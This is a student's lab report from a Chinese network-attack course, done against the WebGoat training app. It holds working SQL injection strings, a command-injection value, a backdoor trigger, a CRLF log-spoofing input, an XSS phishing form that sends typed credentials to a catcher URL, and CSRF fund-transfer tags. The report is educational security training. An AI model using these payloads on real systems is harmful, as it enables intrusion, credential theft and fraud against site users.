20145227鄢曼君《网络对抗》Web安全基础实践

实验后回答问题

1.SQL注入攻击原理,如何防御?

  • SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
  • 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。
  • 防御:对输入的数据进行过滤,过滤掉敏感字符。加密数据库。

2.XSS攻击的原理,如何防御?

  • XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
  • 防御:检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。还有就是在表单提交或者url参数传递前,对需要的参数进行过滤。

3.CSRF攻击原理,如何防御?

  • CSRF全名是Cross-site request forgery,是一种对网站的恶意利用。CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,通过伪装来自受信任用户的请求来利用受信任的网站。它危害性甚至比XSS更大。比如实验中的转账之类的。
  • 防御:用户在浏览其它站点前登出站点;在浏览器会话结束后清理浏览器的cookie;尽量不要在页面的链接中暴露用户隐私信息;避免全站通用的cookie,严格设置cookie的域。

实验感想

  • 这次实验确实内容很多,但是都还挺有意思的,而且我也学到了一些东西。这次的实验感觉与我们生活息息相关,其实我们之前学的很多课程都有涉及到web安全,这一次的Web安全基础实践又让我了解到了更多的关于这方面的攻击手段等,相信以后登录网页或者点击链接之类的我会更加谨慎。

实践过程

  • 开启webgoat,打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar

  • 然后在浏览器输入localhost:8080/WebGoat,进入webgoat。

SQL练习

String SQL Injection(SQL字符串注入)

  • 这个题的题目大意是:这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。

  • 我们构造一个永真式“1”,那么不管前面的WHERE是否成立都能执行,所以构造语句'or 1='1,成功得到了全部的信用卡号。

Numeric SQL Injection(数字型SQL注入)

  • 这个题大概意思是这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据。
  • 由于没办法直接输入,无法在前端进行SQL注入,我们可以从捕获包中修改。
  • 首先启动BurpSuite。然后设置代理“Proxy”的“Options”选项,默认是8080端口被占用时需要添加一个新的端口8888,点击add;添加后勾选。

  • 然后设置浏览器的代理:打开浏览器右侧的“更多”选项卡,preference-advanced-settings
  • 这相当于将burpsuite当成中间服务器,每个数据包都流过它。
  • 设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包。然后右键send to repeater ,我们修改station值从为101 为 101 or 1=1,点击GO,可以看到右边response包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1

  • 回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐浏览器发现已经成功了!

Command Injection(命令注入)

  • 题目要求能够在目标主机上执行系统命令,我发现可以通过火狐浏览器下的一个扩展Firebug对源代码进行修改,例如在BackDoors.help旁边加上& netstat -an & ipconfig

  • 选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:

Database Backdoors

  • 输入注入语句:101; update employee set salary=9000,成功把该用户的工资涨到了9000。这种给别人涨工资的感觉好棒啊~

  • 接下来使用语句101;CREATE TRIGGER ymjBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145227@qq.com' WHERE userid = NEW.userid 创建一个后门,把表中所有的邮箱和用户ID都设为我的。所有人的工资都邮到我这里吧,哈哈哈

Blind Numeric SQL Injection

  • 题目要求是得到一个存放在pins表中值pin的内容,行号cc_number=1111222233334444,是一个int型的数据。
  • 然后使用BurpSuite进行拦截,拦截后action--send to intruder进行暴力破解,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1。可以发现2364的报文长度明显和其他不一样,那这个值就应该就是2364:

Log Spoofing(日志欺骗)

  • 这道题大概意思是说,我们输入的用户名会被追加到日志文件中。所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,例如在User Name文本框中输入ymj%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:

  • 攻击成功:

LAB:SQL Injection

Stage 1:String SQL Injection

  • 题目要求:使用字符串SQL注入在没有正确密码的情况下登录账号boss。
  • 以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,但是登录失败。
  • 查看了一下网页源码,发现输入框对输入的字符长度进行了限制,最多只允许输入8个字符:

  • 于是我对字符长度进行了修改,然后重新登录,登录成功!

Stage 3:Numeric SQL Injection

  • 题目要求:通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户larry,浏览其BOSS的账户信息。
  • 首先我们用上一题的办法登录Larry的账号!在密码框里输入' or 1=1 --,登录后发现我们只能看见Larry一个人的工资信息.

  • 浏览员工信息的按钮是ViewProfile.在网页代码中分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 然后成功查看到老板的信息!

XSS攻击

Phishing with XSS

  • 这个题目我们要在搜索框中输入XSS攻击代码:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,然后输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你:

  • 攻击成功,结果如下图:

Stored XSS Attacks

  • 题目要求:要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
  • 直接在title里随便输入,然后在message中输入一串代码,比如:<script>alert("hhh5227lll!");</script> 提交后,再次点击刚刚创建的帖子,成功弹出窗口,说明攻击成功!

Reflected XSS Attacks

  • 当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看:

  • 如果我们将带有攻击性的URL作为输入源,比如<script>alert("hhh20145227ymj");</script>,就会弹出对话框:

  • 攻击成功!

  • 这个看上去和上面很相似,但是原理不同,上面的是存储式的,这个是通过写在url里面达到的效果,里面的脚本也可以改写成其他恶意的内容。

CSRF攻击

Cross Site Request Forgery

  • 题目要求:需要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 查看自己电脑的Screen和menu的值:

  • 然后在message里面输入<img src="http://localhost:8080/WebGoat/attack?Screen=291&menu=900&transferFunds=转账金额"/>就会发出一个转钱的请求,盗取钱财。
  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。

CSRF Prompt By-Pass

  • 这个就是利用CSRF进行冒名操作转账,不过这次包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)。直接在message中写入攻击代码,然后提交:

  • 点击了CONFIRM按钮,成功实现:

20145227鄢曼君《网络对抗》Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 20145227鄢曼君《网络对抗》Web基础

    20145227鄢曼君<网络对抗>Web基础 实验内容 (1)Web前端HTML (2)Web前端javascipt (3)Web后端:MySQL基础:正常安装.启动MySQL,建库.创建 ...

  3. 20145227鄢曼君《网络对抗》MSF基础应用

    20145227鄢曼君<网络对抗>MSF基础应用 主动攻击:ms08_067漏洞攻击实践 两台虚拟机,其中一台为kali,一台为windows xp sp3(英文版).在VMware中设置 ...

  4. 20145227鄢曼君《网络对抗》shellcode注入&Return-to-libc攻击深入

    20145227鄢曼君<网络对抗>shellcode注入&Return-to-libc攻击深入 shellcode注入实践 shellcode基础知识 Shellcode实际是一段 ...

  5. 20145227鄢曼君《网络对抗》逆向及Bof基础

    20145227鄢曼君<网络对抗>逆向及Bof基础 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任 ...

  6. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  7. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  8. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  9. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

随机推荐

  1. 计蒜客 31452 - Supreme Number - [简单数学][2018ICPC沈阳网络预赛K题]

    题目链接:https://nanti.jisuanke.com/t/31452 A prime number (or a prime) is a natural number greater than ...

  2. C++中引用与取地址

    所谓引用就是为对象起一个别名.例如变量b = &a,b就是a的一个引用.对b的任何操作等同于对a的操作,也就是说,如果你改变了b的值,同时a的值也会发生改变.b就是a的另外一个名字,他们实质是 ...

  3. Zookeeper简介及单机、集群模式搭建

    1.zookeeper简介 一个开源的分布式的,为分布式应用提供协调服务的apache项目. 提供一个简单的原语集合,以便于分布式应用可以在它之上构建更高层次的同步服务. 设计非常易于编程,它使用的是 ...

  4. Redis is loading the dataset in memory

    Redis is loading the dataset in memory During handling of the above exception, another exception occ ...

  5. iOS UITextField实时监听获取输入内容,中文状态去除预输入拼音

    http://blog.csdn.net/cse110/article/details/51360796 - (void)textFieldDidChange:(UITextField *)textF ...

  6. 运行Chromium浏览器无法登录谷歌账号因为缺少google api密钥

    管理员身份运行CMD,然后依次输入以下三行内容(因为比较长,最好拷贝,因为某原因粘贴第一行后,我输入了下,结果第一次没成功,可能是输入错误了.): setx GOOGLE_API_KEY " ...

  7. mysql union出错: "Every derived table must have its own alias"

    SELECT count(*) from (SELECT province_code as area_id, count(*) from t_cas_rural_selected GROUP BY p ...

  8. flask 小入门知识点 2018.12.19

    今天听得一脸懵逼,主要因为自己英文底子太差了 不耽误时间了,少总结下,开始复习... 代码: # -*- encoding: utf-8 -*- # 导入重定向模块 , url_for简易寻址跳转,j ...

  9. 敌兵布阵---hud1166(线段树或者树状数组模板)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1166 线段树中对某一点的值进行改变: #include<iostream> #includ ...

  10. IO流(6)获取功能

    获取功能: * public String getAbsolutePath():获取绝对路径 * public String getPath():获取相对路径 * public String getN ...